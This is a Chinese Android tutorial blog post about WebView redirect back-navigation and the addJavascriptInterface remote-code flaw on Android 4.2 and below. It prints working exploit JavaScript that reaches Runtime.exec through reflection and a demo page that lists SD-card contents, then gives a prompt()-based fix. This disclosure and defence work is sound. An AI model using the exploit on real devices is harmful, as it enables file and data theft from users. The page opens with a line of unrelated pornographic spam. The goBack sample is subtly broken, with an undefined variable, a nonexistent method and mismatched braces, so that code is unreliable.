亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Android中WebView無法后退和js注入漏洞的解決方案

 更新時間:2016年02月22日 14:25:02   作者:時之沙  
這篇文章主要介紹了Android中WebView無法后退和js注入漏洞解決方案,其中js注入主要針對安卓4.2及以下版本中WebView的漏洞,需要的朋友可以參考下

因重定向無法正常goBack()解決方案
首先說下問題,初始頁面為A,點擊某個鏈接跳轉(zhuǎn)到B(http://xxx.com.cn/),B頁面重定向到C頁面(http://xxx.com.cn/website/index.html)
當(dāng)調(diào)用webview.goBack()時,頁面回退到B,然后接著會重定向回C頁面.
這樣會導(dǎo)致兩個問題:

1. 無法回退到webview的初始頁面A
2. 無法正常退出Activity或者Fragment(只有還未加載完C時進行回退才能退出頁面)

關(guān)于如何解決這個問題,我總結(jié)了如下三種方法,可以根據(jù)具體情況進行使用:
一. 首先需要和前端開發(fā)人員溝通,看重定向是否必要,如果跳轉(zhuǎn)鏈接只是域名,然后默認重定向到  域名/index.html,并沒有特殊處理的話,那么這種重定向并沒有意義.
只要將網(wǎng)頁中的連接,比如

<a /> 

直接替換為

<a href="http:///xxx.com.cn/index.html"/> 

即可解決該問題.

二.頁面中的重定向是必須的,那么我們就需要自己維護一個webview的歷史棧,根據(jù)自己的需求進行過濾跳轉(zhuǎn)或者重新加載頁面:
判斷到當(dāng)前為重定向后的鏈接,那么那么當(dāng)回退的時候就需要忽略上一級的鏈接,不使用webview.goback(),移除重定向和重定向后的url,
獲取到初始頁面鏈接后自己進行l(wèi)oadUrl()操作.

3.還有一種方法,和方法2類似,需要自己維護webview的歷史棧,但是需要前端的配合,提供js函數(shù)獲取網(wǎng)頁是否進行重定向
在webviewClient回調(diào)shouldoverloading()中過濾url時,若屬于重定向的地址,則不加入棧中,回退時根據(jù)歷史棧加載即可.

這里主要講一下方法二:
首先定義一個歷史棧 :

private ArrayList<String> loadHistoryUrls = new ArrayList<String>(); 

把初始頁面Url加入

loadHistoryUrls.add(INITAL_WEB_URL); 

然后加入加載的url:

public boolean shouldOverrideUrlLoading(WebView view,String url){ 
 
  //將過濾到的url加入歷史棧中 
   loadHistoryUrls.add(url); 
   return true;   
 
  } 

最后在webview.goback()處理:

@Override 
 public boolean onKeyDown(int keyCode, KeyEvent event) { 
  //判斷是否可以返回操作 
  if (webView.canGoBack() && event.getKeyCode() == KeyEvent.KEYCODE_BACK) { 
   //過濾是否為重定向后的鏈接 
   if(loadHistoryUrls.size()>0&&loadUrls.get(loadHistoryUrls.size()-1).contains("index.html")) 
 
    //移除加載棧中的最后兩個鏈接 
    loadHistoryUrls.remove(loadHistoryUrls.get(loadHistoryUrls.size()-1)); 
 
    loadHistoryUrls.remove(loadHistoryUrls.get(loadHistoryUrls.size()-1)); 
 
    //加載重定向之前的頁 
    webview.load(loadUrls.get(loadHistoryUrls.size()-1)); 
 
   return true; 
   } 
   
  }   
 } 


關(guān)于加載棧,后來發(fā)現(xiàn)webview本身也有對應(yīng)的API:

//獲取歷史列表 
 WebBackForwardList mWebBackForwardList = webView.copyBackForwardList(); 

不過這個api可能受系統(tǒng)版本的影響或者不同手機系統(tǒng)進行了修改
所以解決該問題時,大家可以自己根據(jù)需求,自己維護加載的歷史?;蛘咧苯诱{(diào)用系統(tǒng)api.

這里總結(jié)一下,若重定向非必要,采取方案一,最簡單,修改量也非常小. 重定向必要,則使用方案二或者方案三.
因為需要和前端人員交互,方案三所需要的溝通,開發(fā),維護的成本要比方案二高出不少,但對于是否重定向的判斷非常準確,若有多個重定向的情況,一次開發(fā)完成后不需要對代碼再次改動.  方案二則需要寫死需要過濾的url,若出現(xiàn)多個重定向,則會顯得代碼比較臃腫,每次都需要重新增加代碼. 具體使用依據(jù)項目中的開發(fā)情況而定.

       最后再補充一種通用的辦法,但是需要后臺的強大支持: 在webview進行加載時,將請求發(fā)送至服務(wù)器,然后由服務(wù)器進行分析處理,將處理后的結(jié)果返回給客戶端進行顯示. 并且可以由服務(wù)器對網(wǎng)頁內(nèi)容進行編碼或者取出冗余,并結(jié)合cdn提升響應(yīng)速度,這也是目前瀏覽器開發(fā)常用的一種策略.但是需要大量的數(shù)據(jù)收集,分析和處理,對于服務(wù)器的依賴比較嚴重,若開發(fā)進度較緊或者公司資源有限,可先參照以上辦法進行解決.

     最重還要講的一點, 本篇文章主要是對于加載己方開發(fā)的H5中遇到問題的解決,至于第三方網(wǎng)站加載,這個是沒有辦法解決的. 包括微信上也一樣,對于各種公眾平臺和第三方鏈接,是沒有通用解決方案的, 所以他們在交互上進行了處理 ,在H5進行一次跳轉(zhuǎn)就會在標題欄左上角出現(xiàn)關(guān)閉按鈕. 畢竟用戶是不知道快速連續(xù)點擊兩次返回才能正常返回首頁的.


Js對象注入漏洞解決方案
1,使用場景
我們很多時候要使用WebView來展示一個網(wǎng)頁,現(xiàn)在很多應(yīng)用為了做到服務(wù)端可控,很多結(jié)果頁都是網(wǎng)頁的,而不是本地實現(xiàn),這樣做有很多好處,比如界面的改變不需要重新發(fā)布新版本,直接在Server端修改就行了。用網(wǎng)頁來展示界面,通常情況下都或多或少都與Java代碼有交互,比如點擊網(wǎng)頁上面的一個按鈕,我們需要知道這個按鈕點擊事件,或者我們要調(diào)用某個方法,讓頁面執(zhí)行某種動作,為了實現(xiàn)這些交互,我們通常都是使用JS來實現(xiàn),而WebView已經(jīng)提供了這樣的方法,具體用法如下:

mWebView.getSettings().setJavaScriptEnabled(true); 
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface"); 

我們向WebView注冊一個名叫“jsInterface”的對象,然后在JS中可以訪問到j(luò)sInterface這個對象,就可以調(diào)用這個對象的一些方法,最終可以調(diào)用到Java代碼中,從而實現(xiàn)了JS與Java代碼的交互。
我們一起來看看關(guān)于addJavascriptInterface方法在Android官網(wǎng)的描述:
 
This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
The Java object's fields are not accessible.
簡單地說,就是用addJavascriptInterface可能導(dǎo)致不安全,因為JS可能包含惡意代碼。今天我們要說的這個漏洞就是這個,當(dāng)JS包含惡意代碼時,它可以干任何事情。

2,漏洞描述
通過JavaScript,可以訪問當(dāng)前設(shè)備的SD卡上面的任何東西,甚至是聯(lián)系人信息,短信等。這很惡心吧,嘎嘎。好,我們一起來看看是怎么出現(xiàn)這樣的錯誤的??梢匀タ纯礊踉破脚_上的這個bug描述:猛點這里
1,WebView添加了JavaScript對象,并且當(dāng)前應(yīng)用具有讀寫SDCard的權(quán)限,也就是:android.permission.WRITE_EXTERNAL_STORAGE
2,JS中可以遍歷window對象,找到存在“getClass”方法的對象的對象,然后再通過反射的機制,得到Runtime對象,然后調(diào)用靜態(tài)方法來執(zhí)行一些命令,比如訪問文件的命令.
3,再從執(zhí)行命令后返回的輸入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危險。核心JS代碼如下:

function execute(cmdArgs) 
{ 
 for (var obj in window) { 
  if ("getClass" in window[obj]) { 
   alert(obj); 
   return window[obj].getClass().forName("java.lang.Runtime") 
     .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 
  } 
 } 
} 

 3,漏洞證明
舉例一:為了證明這個漏洞,寫了一個demo來說明。我就只是加載一個包含惡意JS代碼的本地網(wǎng)頁,HTML其代碼如下:

<html> 
 <head> 
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
 <script> 
  var i=0; 
  function getContents(inputStream) 
  { 
  var contents = ""+i; 
  var b = inputStream.read(); 
  var i = 1; 
  while(b != -1) { 
   var bString = String.fromCharCode(b); 
   contents += bString; 
   contents += "\n" 
   b = inputStream.read(); 
  } 
  i=i+1; 
  return contents; 
  } 
  
  function execute(cmdArgs) 
  { 
  for (var obj in window) { 
   console.log(obj); 
   if ("getClass" in window[obj]) { 
    alert(obj); 
    return window[obj].getClass().forName("java.lang.Runtime"). 
     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 
    } 
   } 
  } 
  
  var p = execute(["ls","/mnt/sdcard/"]); 
  document.write(getContents(p.getInputStream())); 
 </script> 
 
 <script language="javascript"> 
  function onButtonClick() 
  { 
  // Call the method of injected object from Android source. 
  var text = jsInterface.onButtonClick("從JS中傳遞過來的文本?。?!"); 
  alert(text); 
  } 
 
  function onImageClick() 
  { 
  //Call the method of injected object from Android source. 
  var src = document.getElementById("image").src; 
  var width = document.getElementById("image").width; 
  var height = document.getElementById("image").height; 
 
  // Call the method of injected object from Android source. 
  jsInterface.onImageClick(src, width, height); 
  } 
 </script> 
 </head> 
 
 <body> 
  <p>點擊圖片把URL傳到Java代碼</p> 
  <img class="curved_box" id="image" 
   onclick="onImageClick()" 
   width="328" 
   height="185" 
   src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg" 
   onerror="this.src='background_chl.jpg'"/> 
 </p> 
 <button type="button" onclick="onButtonClick()">與Java代碼交互</button> 
 </body> 
</html> 

這段HTML的運行效果如下:

2016222141919617.jpg (360×616)

圖一:期望運行結(jié)果圖

上圖中,點擊按鈕后,JS中傳遞 一段文本到Java代碼,顯示一下個toast,點擊圖片后,把圖片的URL,width,height傳到Java層,也用toast顯示出來。
要實現(xiàn)這樣的功能,就需要注Java對象。

簡單說明一下
1,請看execute()這個方法,它遍歷所有window的對象,然后找到包含getClass方法的對象,利用這個對象的類,找到j(luò)ava.lang.Runtime對象,然后調(diào)用“getRuntime”靜態(tài)方法方法得到Runtime的實例,再調(diào)用exec()方法來執(zhí)行某段命令。
2,getContents()方法,從流中讀取內(nèi)容,顯示在界面上。
3,關(guān)鍵的代碼就是以下兩句

return window[obj].getClass().forName("java.lang.Runtime"). 
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 

Java代碼實現(xiàn)如下:

mWebView = (WebView) findViewById(R.id.webview); 
mWebView.getSettings().setJavaScriptEnabled(true); 
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface"); 
mWebView.loadUrl("file:///android_asset/html/test.html"); 

需要添加的權(quán)限:

<uses-permission android:name="android.permission.INTERNET"/> 
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> 
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> 

當(dāng)點擊LOAD菜單后,運行截圖如下:(理論上應(yīng)該出現(xiàn)圖一界面)

2016222142009084.jpg (360×616)

圖二:實際運行結(jié)果,列出了SDCard中的文件

舉例二:360瀏覽器也存在這個問題,我測試的系統(tǒng)是android 4.0.2,360瀏覽器版本是:4.8.7
在瀏覽器輸入框中輸入:http://bitkiller.duapp.com/jsobj.html,然后前往,它會出現(xiàn)如下的界面

2016222142029027.jpg (360×616)

圖三:360瀏覽器運行結(jié)果
說明:其中searchBoxJavaBridge_不是360注入的對象,而是WebView內(nèi)部注入的,這是在3.0以后的Android系統(tǒng)上添加的。

在關(guān)閉這個對話框之后,它會列出當(dāng)前SDCard上面的所有文件列表,如下圖所示

2016222142045208.jpg (360×616)

圖四:錯誤結(jié)果

4,解決方案
(1),Android 4.2以上的系統(tǒng)
在Android 4.2以上的,google作了修正,通過在Java的遠程方法上面聲明一個@JavascriptInterface,如下面代碼:

(2),Android 4.2以下的系統(tǒng)
這個問題比較難解決,但也不是不能解決。
首先,我們肯定不能再調(diào)用addJavascriptInterface方法了。關(guān)于這個問題,最核心的就是要知道JS事件這一個動作,JS與Java進行交互我們知道,有以下幾種,比prompt, alert等,這樣的動作都會對應(yīng)到WebChromeClient類中相應(yīng)的方法,對于prompt,它對應(yīng)的方法是onJsPrompt方法,這個方法的聲明如下:

public boolean onJsPrompt(WebView view, String url, String message, 
String defaultValue, JsPromptResult result) 

 
通過這個方法,JS能把信息(文本)傳遞到Java,而Java也能把信息(文本)傳遞到JS中,通知這個思路我們能不能找到解決方案呢?
經(jīng)過一番嘗試與分析,找到一種比較可行的方案,請看下面幾個小點:
【1】讓JS調(diào)用一個Javascript方法,這個方法中是調(diào)用prompt方法,通過prompt把JS中的信息傳遞過來,這些信息應(yīng)該是我們組合成的一段有意義的文本,可能包含:特定標識,方法名稱,參數(shù)等。在onJsPrompt方法中,我們?nèi)ソ馕鰝鬟f過來的文本,得到方法名,參數(shù)等,再通過反射機制,調(diào)用指定的方法,從而調(diào)用到Java對象的方法。
【2】關(guān)于返回值,可以通過prompt返回回去,這樣就可以把Java中方法的處理結(jié)果返回到Js中。
【3】我們需要動態(tài)生成一段聲明Javascript方法的JS腳本,通過loadUrl來加載它,從而注冊到html頁面中,具體的代碼如下:

javascript:(function JsAddJavascriptInterface_(){ 
 if (typeof(window.jsInterface)!='undefined') {  
  console.log('window.jsInterface_js_interface_name is exist!!');} 
 else { 
  window.jsInterface = {   
   onButtonClick:function(arg0) { 
    return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]})); 
   }, 
    
   onImageClick:function(arg0,arg1,arg2) { 
    prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]})); 
   }, 
  }; 
 } 
} 
)() 

 
說明:
【1】,上面代碼中的jsInterface就是要注冊的對象名,它注冊了兩個方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return。
【2】,prompt中是我們約定的字符串,它包含特定的標識符MyApp:,后面包含了一串JSON字符串,它包含了方法名,參數(shù),對象名等。
【3】,當(dāng)JS調(diào)用onButtonClick或onImageClick時,就會回調(diào)到Java層中的onJsPrompt方法,我們再解析出方法名,參數(shù),對象名,再反射調(diào)用方法。
【4】,window.jsInterface這表示在window上聲明了一個Js對象,聲明方法的形式是:方法名:function(參數(shù)1,參數(shù)2)

5,一些思考
以下是在實現(xiàn)這個解決方案過程中遇到的一些問題和思考:
(1)生成Js方法后,加載這段Js的時機是什么?
剛開始時在當(dāng)WebView正常加載URL后去加載Js,但發(fā)現(xiàn)會存在問題,如果當(dāng)WebView跳轉(zhuǎn)到下一個頁面時,之前加載的Js就可能無效了,所以需要再次加載。這個問題經(jīng)過嘗試,需要在以下幾個方法中加載Js,它們是WebChromeClient和WebViewClient的方法:

  • onLoadResource
  • doUpdateVisitedHistory
  • onPageStarted
  • onPageFinished
  • onReceivedTitle
  • onProgressChanged
  • 目前測試了這幾個地方,沒什么問題,這里我也不能完全確保沒有問題。

(2)需要過濾掉Object類的方法
由于通過反射的形式來得到指定對象的方法,他會把基類的方法也會得到,最頂層的基類就是Object,所以我們?yōu)榱瞬话裧etClass方法注入到Js中,所以我們需要把Object的公有方法過濾掉。這里嚴格說來,應(yīng)該有一個需要過濾方法的列表。目前我的實現(xiàn)中,需要過濾的方法有:

  •         "getClass",
  •         "hashCode",
  •         "notify",
  •         "notifyAll",
  •         "equals",
  •         "toString",
  •         "wait",

(3)通過手動loadUrl來加載一段js,這種方式難道js中的對象就不在window中嗎?也就是說,通過遍歷window的對象,不能找到我們通過loadUrl注入的js對象嗎?
關(guān)于這個問題,我們的方法是通過Js聲明的,通過loadUrl的形式來注入到頁面中,其實本質(zhì)相當(dāng)于把我們這動態(tài)生成的這一段Js直接寫在Html頁面中,所以,這些Js中的window中雖然包含了我們聲明的對象,但是他們并不是Java對象,他們是通過Js語法聲明的,所以不存在getClass之類的方法。本質(zhì)上他們是Js對象。

(4)在Android 3.0以下,系統(tǒng)自己添加了一個叫searchBoxJavaBridge_的Js接口,要解決這個安全問題,我們也需要把這個接口刪除,調(diào)用removeJavascriptInterface方法。這個searchBoxJavaBridge_好像是跟google的搜索框相關(guān)的。

(5)在實現(xiàn)過程中,我們需要判斷系統(tǒng)版本是否在4.2以下,因為在4.2以上,Android修復(fù)了這個安全問題。我們只是需要針對4.2以下的系統(tǒng)作修復(fù)。

相關(guān)文章

  • Android 如何使用短信鏈接打開APP

    Android 如何使用短信鏈接打開APP

    這篇文章主要介紹了Android 如何使用短信鏈接打開APP,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-03-03
  • Android開發(fā)之圖片壓縮工具類完整實例

    Android開發(fā)之圖片壓縮工具類完整實例

    這篇文章主要介紹了Android開發(fā)之圖片壓縮工具類,結(jié)合完整實例形式分析了Android針對圖片壓縮的相關(guān)屬性設(shè)置與轉(zhuǎn)換操作實現(xiàn)技巧,需要的朋友可以參考下
    2017-11-11
  • 模擬按Home鍵退出應(yīng)用的簡單方法(分享)

    模擬按Home鍵退出應(yīng)用的簡單方法(分享)

    下面小編就為大家?guī)硪黄M按Home鍵退出應(yīng)用的簡單方法(分享)。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-04-04
  • Android序列化實現(xiàn)接口Serializable與Parcelable詳解

    Android序列化實現(xiàn)接口Serializable與Parcelable詳解

    我們使用 Intent 傳遞數(shù)據(jù)的時候,putExtra() 所支持的數(shù)據(jù)類型事有限的,當(dāng)需要傳遞自定義對象的時候就需要序列化。Serializable更簡單但是會把整個對象進行序列化因此效率比Parcelable低一些
    2022-12-12
  • Android selinux策略文件的編譯與加載

    Android selinux策略文件的編譯與加載

    這篇文章主要為大家介紹了Android selinux策略文件的編譯與加載用法解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-03-03
  • Android實現(xiàn)頭像上傳功能

    Android實現(xiàn)頭像上傳功能

    這篇文章主要為大家詳細介紹了Android實現(xiàn)頭像上傳功能,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-12-12
  • Flutter框架實現(xiàn)Android拖動到垃圾桶刪除效果

    Flutter框架實現(xiàn)Android拖動到垃圾桶刪除效果

    這篇文章主要介紹了Flutter框架實現(xiàn)Android拖動到垃圾桶刪除效果,Flutter框架中的Draggable部件,用于支持用戶通過手勢拖動,它是基于手勢的一種方式,可以使用戶可以在屏幕上拖動指定的部件,下面我們來詳細了解一下
    2023-12-12
  • Android手勢操作簡單實例講解

    Android手勢操作簡單實例講解

    這篇文章主要為大家詳細介紹了Android手勢操作簡單實例,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2016-09-09
  • ViewDragHelper實現(xiàn)QQ側(cè)滑效果

    ViewDragHelper實現(xiàn)QQ側(cè)滑效果

    這篇文章主要為大家詳細介紹了ViewDragHelper實現(xiàn)QQ側(cè)滑效果,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2017-08-08
  • Android開發(fā)之完成登陸界面的數(shù)據(jù)保存回顯操作實例

    Android開發(fā)之完成登陸界面的數(shù)據(jù)保存回顯操作實例

    這篇文章主要介紹了Android開發(fā)之完成登陸界面的數(shù)據(jù)保存回顯操作實現(xiàn)方法,結(jié)合完整實例形式較為詳細的分析了Android針對登錄數(shù)據(jù)的保存及回顯操作技巧,需要的朋友可以參考下
    2015-12-12

最新評論